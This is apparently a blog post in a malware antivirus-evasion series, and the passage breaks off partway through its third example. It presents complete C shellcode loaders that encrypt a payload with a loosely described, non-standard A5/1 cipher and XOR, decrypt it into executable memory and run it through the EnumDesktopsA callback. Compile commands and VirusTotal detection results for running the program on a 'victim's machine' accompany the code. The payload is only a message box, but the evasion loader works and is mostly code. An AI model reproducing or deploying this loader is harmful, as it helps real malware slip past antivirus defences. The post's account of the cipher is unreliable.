Malware AV/VM evasion - part 14: encrypt/decrypt payload via A5/1. Bypass Kaspersky AV. Simple C++ example.

﷽

Hello, cybersecurity enthusiasts and white hackers!

This post is the result of my own research on try to evasion AV engines via encrypting payload with another function: GSM A5/1 algorithm.

A5/1

The A5 algorithm is a stream cipher used for encryption in GSM networks. Here is a step by step flow of the algorithm:

• Initialization: - Three 19-bit registers R1, R2, and R3 are loaded with a 64-bit key. An additional 22-bit frame counter register is used to ensure that the key stream is different for each frame. The three registers are filled with the key and frame counter using a bit-by-bit loading algorithm. The initial state of the registers is completely determined by the key and frame counter.

• Clocking: - In each clock cycle, the three registers are shifted one bit to the left. The output of several taps on the registers are XORed together to form a feedback bit. The feedback bit is then shifted into the most significant bit of R1. R2 and R3 are shifted to the left by one bit, and the least significant bits of R1 and R2 are shifted into R2 and R3 respectively.

• Key generation: - A8 and A5 algorithms use different clocking sequences, but the key generation process is similar. In each clock cycle, a bit is generated for the key stream by XORing together bits from the three registers and the feedback bit. The generated bit is added to the key stream. The key stream is XORed with the plaintext to produce the ciphertext.

• Decryption: - Decryption is simply the reverse process of encryption. The ciphertext is XORed with the key stream to produce the plaintext.

Note: This is a high-level overview of the A5 algorithm. The actual implementation may differ depending on the specific use case.

practical example

I create the simplest implementation:

void a5_1_encrypt(unsigned char *key, int key_len, unsigned char *msg, int msg_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // encryption
  for (int i = 0; i < msg_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = msg[i] ^ key_byte;
  }
}

A5/1 algorithm implementation in the provided function a5_1_encrypt:

• The function takes four input arguments: key, key_len, msg, and msg_len, which represent the encryption key, the length of the key, the plaintext message to be encrypted, and the length of the message, respectively. It also takes an output argument out, which will hold the encrypted message.
• The function initializes three 32-bit registers R1, R2, and R3 to 0.
• The function loops through the first 64 bits of the encryption key and uses them to initialize the three registers as follows:
  For each bit in the key, the function calculates the feedback bit as the XOR of the key bit, the 18th bit of R1, the 21st bit of R2, and the 22nd bit of R3.
  The function shifts R1, R2, and R3 to the left by one bit and sets the least significant bit of R1 to the feedback bit.
• The function loops through the plaintext message and encrypts each byte as follows: For each byte of the message, the function calculates a feedback bit as the XOR of the 8th bit of R1, the 10th bit of R2, and the 10th bit of R3.
  The function generates a byte of the key by XORing eight feedback bits with the corresponding bits of R1, R2, and R3.
  The function XORs the byte of the message with the corresponding byte of the key to produce the encrypted byte.
  The function shifts R1, R2, and R3 to the left by eight, ten, and ten bits, respectively, and sets the least significant bit of R1 to the feedback bit.
• The function stores the encrypted message in the out buffer and returns.

I decided to encrypt the payload and decrypt it and see what happens: how many AV engines detect it as malicious in virustotal and how much Shannon’s entropy will increase.

For decrypt using this code:

void a5_1_decrypt(unsigned char *key, int key_len, unsigned char *cipher, int cipher_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // decryption
  for (int i = 0; i < cipher_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = cipher[i] ^ key_byte;
  }
}

As you can see, it is the same logic as an encryption function.

So our full source code is looks like (hack.c):

/*
 * hack.cpp
 * encrypt/decrypt payload via GSM A5/1 algorithm
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2023/03/24/malware-av-evasion-14.html
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

#define ROL(x, y) (((x) << (y)) | ((x) >> (32 - (y))))
#define A5_STEP(x, y, z) ((x & y) ^ (x & z) ^ (y & z))

void a5_1_encrypt(unsigned char *key, int key_len, unsigned char *msg, int msg_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // encryption
  for (int i = 0; i < msg_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = msg[i] ^ key_byte;
  }
}

void a5_1_decrypt(unsigned char *key, int key_len, unsigned char *cipher, int cipher_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // decryption
  for (int i = 0; i < cipher_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = cipher[i] ^ key_byte;
  }
}

int main() {
  unsigned char key[] = {0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77};
  unsigned char message[] = { 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0, 0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48, 0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0, 0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6, 0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41, 0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e, 0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12, 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0, 0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d, 0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83, 0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77, 0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0 };
  int key_len = sizeof(key);

  int my_payload_len = sizeof(message);
  int pad_len = my_payload_len + (8 - my_payload_len % 8) % 8;

  unsigned char padded[pad_len];
  // memset(padded, 0x90, pad_len);
  // memcpy(padded, message, my_payload_len);

  memcpy(padded, message, my_payload_len);
  memset(padded + my_payload_len, 0x90, pad_len - my_payload_len);

  printf("\noriginal shellcode: \n");
  for (int i = 0; i < sizeof(message); i++) {
    printf("%02x ", message[i]);
  }
  printf("\n\n");

  printf("\npadded message: \n");
  for (int i = 0; i < sizeof(padded); i++) {
    printf("%02x ", padded[i]);
  }
  printf("\n\n");

  unsigned char encrypted[pad_len];
  a5_1_encrypt(key, key_len, padded, pad_len, encrypted);

  printf("\nencrypted message: \n");
  for (int i = 0; i < pad_len; i++) {
    printf("%02x ", encrypted[i]);
  }
  printf("\n\n");

  unsigned char decrypted[pad_len];
  a5_1_decrypt(key, key_len, encrypted, pad_len, decrypted);

  printf("\ndecrypted message:\n");
  for (int i = 0; i < pad_len; i++) {
    printf("%02x ", decrypted[i]);
  }
  printf("\n\n");

  LPVOID mem = VirtualAlloc(NULL, my_payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, decrypted, my_payload_len);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);
  return 0;
}

As you can see, as usually used meow-meow messagebox payload. And added printing just for checking corectness.

demo

Let’s go to compile our “malware”:

x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

Then, run it at the victim’s machine:

Calc entropy:

python3 entropy.py -f ./hack.exe

practical example 2

Update malware code: delete original shellcode and add just decryption of encrypted payload logic:

/*
 * hack.cpp
 * encrypt/decrypt payload via GSM A5/1 algorithm
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2023/03/24/malware-av-evasion-14.html
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

#define ROL(x, y) (((x) << (y)) | ((x) >> (32 - (y))))
#define A5_STEP(x, y, z) ((x & y) ^ (x & z) ^ (y & z))

void a5_1_decrypt(unsigned char *key, int key_len, unsigned char *cipher, int cipher_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // decryption
  for (int i = 0; i < cipher_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = cipher[i] ^ key_byte;
  }
}

int main() {
  unsigned char key[] = {0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77};
  unsigned char message[] = {0xe1, 0x51, 0x95, 0xbc, 0x37, 0xfd, 0xcd, 0xe9, 0x58, 0x50, 0x84, 0xfa, 0x2c, 0x21, 0x70, 0xb7, 0xa4, 0xf4, 0x2e, 0x9e, 0xb5, 0x27, 0x62, 0x6d, 0x27, 0xce, 0x7e, 0xfd, 0x6d, 0x6e, 0x01, 0x20, 0xf7, 0xbb, 0xdd, 0x68, 0x40, 0x7c, 0xb9, 0xe0, 0x8d, 0xc8, 0x61, 0x4b, 0xc9, 0xdd, 0x04, 0x1f, 0xe0, 0xe9, 0x55, 0x13, 0x9c, 0x9f, 0x49, 0x25, 0x76, 0xf7, 0x28, 0x4f, 0xbe, 0x05, 0x55, 0x68, 0x69, 0x05, 0xfb, 0xd6, 0x91, 0x9c, 0x6b, 0x26, 0x09, 0xf4, 0x5f, 0x44, 0x3d, 0x33, 0x38, 0x42, 0xc2, 0x2a, 0x80, 0x1a, 0x0c, 0xbd, 0xd4, 0xf3, 0x3c, 0xec, 0x05, 0xeb, 0xd4, 0x10, 0xbb, 0xca, 0x82, 0x01, 0x06, 0x88, 0xe5, 0x65, 0xe3, 0xdc, 0xfe, 0x77, 0x33, 0xf9, 0x64, 0xd7, 0x80, 0x09, 0x84, 0xd5, 0xc9, 0x1c, 0x09, 0xfe, 0xc3, 0x6e, 0x11, 0x0b, 0x36, 0x9c, 0x5c, 0xa1, 0xd6, 0x48, 0x34, 0xe1, 0x08, 0x70, 0xc1, 0xa6, 0x11, 0x91, 0x49, 0x0f, 0x55, 0x15, 0x61, 0x38, 0xe5, 0x70, 0xd9, 0x7e, 0x0d, 0x02, 0x46, 0x74, 0x58, 0xc5, 0x3b, 0xc5, 0x61, 0x76, 0x58, 0x3b, 0x41, 0xa3, 0x00, 0x65, 0x48, 0x0b, 0x80, 0x36, 0xbe, 0x43, 0x9f, 0x18, 0xe8, 0x3e, 0x41, 0x8e, 0x68, 0x5c, 0x08, 0x00, 0xda, 0x6e, 0x11, 0x0b, 0x06, 0x9c, 0x5c, 0xa1, 0xd0, 0x44, 0x5d, 0x69, 0x18, 0x1f, 0x58, 0x50, 0x11, 0x08, 0xc1, 0x5b, 0x55, 0x4e, 0xe8, 0x83, 0xe9, 0x25, 0x69, 0x12, 0xbe, 0xe1, 0x52, 0x11, 0x09, 0xda, 0x3c, 0x5c, 0x9f, 0xb2, 0xe9, 0x4c, 0xfa, 0xd7, 0xbf, 0x1c, 0x48, 0xcd, 0x91, 0x50, 0x80, 0x02, 0x14, 0x2a, 0xe8, 0x8d, 0x90, 0xfb, 0x28, 0x40, 0x41, 0x3f, 0x46, 0xdd, 0xd5, 0x89, 0x03, 0x14, 0x14, 0xe8, 0x31, 0xcc, 0x44, 0x92, 0x05, 0xc2, 0x57, 0x0d, 0xaf, 0x85, 0xc8, 0x33, 0xdd, 0x55, 0x1a, 0xf0, 0xb0, 0xa7, 0x7e, 0xbf, 0x94, 0x4c, 0x6f, 0x3f, 0x27, 0xad, 0x6f, 0x71, 0x7b, 0xd7, 0x21, 0x05, 0x38, 0x76, 0x6e, 0x6f, 0x5f, 0x37, 0x50, 0xc0, 0x10, 0x92};
  int key_len = sizeof(key);

  int message_len = sizeof(message);
  unsigned char decrypted[message_len];
  a5_1_decrypt(key, key_len, message, message_len, decrypted);

  printf("\ndecrypted message:\n");
  for (int i = 0; i < message_len; i++) {
    printf("%02x ", decrypted[i]);
  }
  printf("\n\n");

  LPVOID mem = VirtualAlloc(NULL, message_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, decrypted, message_len);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);
  return 0;
}

At this point, variable:

unsigned char message[] = {0xe1, 0x51, 0x95, 0xbc, 0x37, 0xfd, 0xcd, 0xe9, 0x58, 0x50, 0x84, 0xfa, 0x2c, 0x21, 0x70, 0xb7, 0xa4, 0xf4, 0x2e, 0x9e, 0xb5, 0x27, 0x62, 0x6d, 0x27, 0xce, 0x7e, 0xfd, 0x6d, 0x6e, 0x01, 0x20, 0xf7, 0xbb, 0xdd, 0x68, 0x40, 0x7c, 0xb9, 0xe0, 0x8d, 0xc8, 0x61, 0x4b, 0xc9, 0xdd, 0x04, 0x1f, 0xe0, 0xe9, 0x55, 0x13, 0x9c, 0x9f, 0x49, 0x25, 0x76, 0xf7, 0x28, 0x4f, 0xbe, 0x05, 0x55, 0x68, 0x69, 0x05, 0xfb, 0xd6, 0x91, 0x9c, 0x6b, 0x26, 0x09, 0xf4, 0x5f, 0x44, 0x3d, 0x33, 0x38, 0x42, 0xc2, 0x2a, 0x80, 0x1a, 0x0c, 0xbd, 0xd4, 0xf3, 0x3c, 0xec, 0x05, 0xeb, 0xd4, 0x10, 0xbb, 0xca, 0x82, 0x01, 0x06, 0x88, 0xe5, 0x65, 0xe3, 0xdc, 0xfe, 0x77, 0x33, 0xf9, 0x64, 0xd7, 0x80, 0x09, 0x84, 0xd5, 0xc9, 0x1c, 0x09, 0xfe, 0xc3, 0x6e, 0x11, 0x0b, 0x36, 0x9c, 0x5c, 0xa1, 0xd6, 0x48, 0x34, 0xe1, 0x08, 0x70, 0xc1, 0xa6, 0x11, 0x91, 0x49, 0x0f, 0x55, 0x15, 0x61, 0x38, 0xe5, 0x70, 0xd9, 0x7e, 0x0d, 0x02, 0x46, 0x74, 0x58, 0xc5, 0x3b, 0xc5, 0x61, 0x76, 0x58, 0x3b, 0x41, 0xa3, 0x00, 0x65, 0x48, 0x0b, 0x80, 0x36, 0xbe, 0x43, 0x9f, 0x18, 0xe8, 0x3e, 0x41, 0x8e, 0x68, 0x5c, 0x08, 0x00, 0xda, 0x6e, 0x11, 0x0b, 0x06, 0x9c, 0x5c, 0xa1, 0xd0, 0x44, 0x5d, 0x69, 0x18, 0x1f, 0x58, 0x50, 0x11, 0x08, 0xc1, 0x5b, 0x55, 0x4e, 0xe8, 0x83, 0xe9, 0x25, 0x69, 0x12, 0xbe, 0xe1, 0x52, 0x11, 0x09, 0xda, 0x3c, 0x5c, 0x9f, 0xb2, 0xe9, 0x4c, 0xfa, 0xd7, 0xbf, 0x1c, 0x48, 0xcd, 0x91, 0x50, 0x80, 0x02, 0x14, 0x2a, 0xe8, 0x8d, 0x90, 0xfb, 0x28, 0x40, 0x41, 0x3f, 0x46, 0xdd, 0xd5, 0x89, 0x03, 0x14, 0x14, 0xe8, 0x31, 0xcc, 0x44, 0x92, 0x05, 0xc2, 0x57, 0x0d, 0xaf, 0x85, 0xc8, 0x33, 0xdd, 0x55, 0x1a, 0xf0, 0xb0, 0xa7, 0x7e, 0xbf, 0x94, 0x4c, 0x6f, 0x3f, 0x27, 0xad, 0x6f, 0x71, 0x7b, 0xd7, 0x21, 0x05, 0x38, 0x76, 0x6e, 0x6f, 0x5f, 0x37, 0x50, 0xc0, 0x10, 0x92};

is early encrypted meow-meow payload.

demo 2

Compile:

x86_64-w64-mingw32-gcc -O2 hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

And run at the victim’s machine:

.\hack2.exe

Upload it to VirusTotal:

https://www.virustotal.com/gui/file/fa19537d1a720a9166431856033d6fa1f8b9e1f6e6ea8d40d179a35ee7403d67/detection

As you can see, only 21 of 69 AV engines detect our file as malicious

practical example 3

Let’s go to modify our “malware” logic, add XOR encryption to encrypted payload, so, we got a A5/1 + XOR encrypted payload. Then decrypt via XOR and A5/1. The order of encryption and decryption is very important here.

/*
 * hack.cpp
 * encrypt/decrypt payload via GSM A5/1 algorithm
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2023/03/24/malware-av-evasion-14.html
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

#define ROL(x, y) (((x) << (y)) | ((x) >> (32 - (y))))
#define A5_STEP(x, y, z) ((x & y) ^ (x & z) ^ (y & z))

void a5_1_encrypt(unsigned char *key, int key_len, unsigned char *msg, int msg_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // encryption
  for (int i = 0; i < msg_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = msg[i] ^ key_byte;
  }
}

void a5_1_decrypt(unsigned char *key, int key_len, unsigned char *cipher, int cipher_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // decryption
  for (int i = 0; i < cipher_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = cipher[i] ^ key_byte;
  }
}

// key for XOR decrypt
char my_secret_key[] = "meowmeowmeowmeow";

// decrypt deXOR function
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
  int j;
  j = 0;
  for (int i = 0; i < data_len; i++) {
    if (j == key_len - 1) j = 0;
    data[i] = data[i] ^ key[j];
    j++;
  }
}

int main() {
  unsigned char key[] = {0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77};
  unsigned char message[] = { 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0, 0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48, 0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0, 0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6, 0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41, 0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e, 0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12, 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0, 0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d, 0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83, 0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77, 0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0 };
  int key_len = sizeof(key);

  int my_payload_len = sizeof(message);
  int pad_len = my_payload_len + (8 - my_payload_len % 8) % 8;

  unsigned char padded[pad_len];
  // memset(padded, 0x90, pad_len);
  // memcpy(padded, message, my_payload_len);

  memcpy(padded, message, my_payload_len);
  memset(padded + my_payload_len, 0x90, pad_len - my_payload_len);

  printf("\noriginal shellcode: \n");
  for (int i = 0; i < sizeof(message); i++) {
    printf("%02x ", message[i]);
  }
  printf("\n\n");

  printf("\npadded message: \n");
  for (int i = 0; i < sizeof(padded); i++) {
    printf("%02x ", padded[i]);
  }
  printf("\n\n");

  unsigned char encrypted[pad_len];
  a5_1_encrypt(key, key_len, padded, pad_len, encrypted);
  XOR((char *) encrypted, pad_len, my_secret_key, sizeof(my_secret_key));

  printf("\nencrypted message: \n");
  for (int i = 0; i < pad_len; i++) {
    printf("%02x ", encrypted[i]);
  }
  printf("\n\n");

  unsigned char decrypted[pad_len];
  XOR((char *) encrypted, pad_len, my_secret_key, sizeof(my_secret_key));
  a5_1_decrypt(key, key_len, encrypted, pad_len, decrypted);

  printf("\ndecrypted message:\n");
  for (int i = 0; i < pad_len; i++) {
    printf("%02x ", decrypted[i]);
  }
  printf("\n\n");

  LPVOID mem = VirtualAlloc(NULL, my_payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, decrypted, my_payload_len);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);
  return 0;
}

As you can see, I just added XOR function:

// key for XOR decrypt
char my_secret_key[] = "meowmeowmeowmeow";

// decrypt deXOR function
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
  int j;
  j = 0;
  for (int i = 0; i < data_len; i++) {
    if (j == key_len - 1) j = 0;
    data[i] = data[i] ^ key[j];
    j++;
  }
}

and update encryption logic, as I wrote earlier:

unsigned char encrypted[pad_len];
a5_1_encrypt(key, key_len, padded, pad_len, encrypted);
XOR((char *) encrypted, pad_len, my_secret_key, sizeof(my_secret_key));

printf("\nencrypted message: \n");
